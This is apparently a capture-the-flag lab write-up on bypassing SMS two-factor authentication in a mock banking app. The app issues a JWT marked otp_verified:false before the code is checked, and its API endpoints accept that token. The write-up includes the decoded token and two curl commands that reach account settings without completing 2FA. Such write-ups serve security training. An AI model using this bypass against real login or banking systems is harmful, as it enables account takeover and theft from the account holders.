Lab 288 — VaultPay — 2FA Bypass via Pre-Authentication JWT
Lab 288 — VaultPay — 2FA Bypass via Pre-Authentication JWT
Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-04-27 | Status: Solved Techniques: api_endpoint_enumeration, jwt_analysis, missing_authorization_check, pre_authentication_token_abuse
Summary
Task: banking platform with 2FA that issues JWT before OTP verification, containing otp_verified:false claim. Solution: use pre-authentication JWT to access API endpoints that don't validate the otp_verified claim, retrieving flag from account settings.
Lab 288 — VaultPay — 2FA Bypass via Pre-Authentication JWT — Hackadvisor
Description
VaultPay is a digital banking platform that lets users manage accounts, view balances, transfer funds, and configure security settings. The platform enforces two-factor authentication via one-time passwords sent to the user's registered phone number.
After entering your password, you must verify your identity with a 6-digit OTP code before accessing your dashboard and account features. The platform promises bank-grade security with 256-bit encryption and mandatory 2FA on every login.
Your goal is to find the secret flag hidden somewhere in the application.
Credentials provided: testuser / password123
English summary: A banking platform with mandatory 2FA via SMS OTP. The goal is to bypass the 2FA protection and find a hidden flag.
Analysis
-
Initial login flow analysis:
- Logged in with
testuser / password123 - Server returns 302 redirect to
/verify-otp - Critical finding: JWT cookie is set BEFORE OTP verification completes
- Logged in with
-
JWT token inspection:
Set-Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxLCJ1c2VybmFtZSI6InRlc3R1c2VyIiwiZW1haWwiOiJ1c2VyQHRlc3QuY29tIiwiZnVsbF9uYW1lIjoiQWxleCBNb3JnYW4iLCJvdHBfdmVyaWZpZWQiOmZhbHNlLCJpYXQiOjE3NzczMTczMDAsImV4cCI6MTc3NzMyMDkwMH0...
-
Decoded JWT payload:
json read-only • copy allowed{ "user_id": 1, "username": "testuser", "email": "user@test.com", "full_name": "Alex Morgan", "otp_verified": false, "iat": 1777317300, "exp": 1777320900 } -
Key vulnerability: The JWT contains
otp_verified: falseindicating incomplete authentication, but API endpoints don't validate this claim. The token is issued prematurely before 2FA completion. -
API endpoint enumeration:
- Frontend pages (
/dashboard,/settings) correctly redirect to/verify-otp - API endpoints do NOT check
otp_verified:/api/dashboard— returns user data ✓/api/transactions— returns transaction history ✓/api/notifications— returns notifications ✓/api/accounts/settings— returns account settings including security info ✓
- Frontend pages (
Solution
Used the pre-authentication JWT (with otp_verified: false) to directly access API endpoints:
bash read-only • copy allowed# Extract JWT from login response curl -s -c cookies.txt -X POST "https://target/api/login" \ -H "Content-Type: application/json" \ -d '{"username":"testuser","password":"password123"}' # Access account settings with pre-auth token curl -s -b cookies.txt "https://target/api/accounts/settings"
Response from /api/accounts/settings:
json read-only • copy allowed{ "account": { "username": "testuser", "email": "user@test.com", "full_name": "Alex Morgan", "phone": "+1-555-***-0142", "account_number": "VP-2847103956" }, "security": { "two_factor_enabled": true, "two_factor_method": "sms", "recovery_key": "FLAG{REDACTED}", "session_timeout_minutes": 30 } }
The flag was stored in the security.recovery_key field, accessible without completing 2FA verification.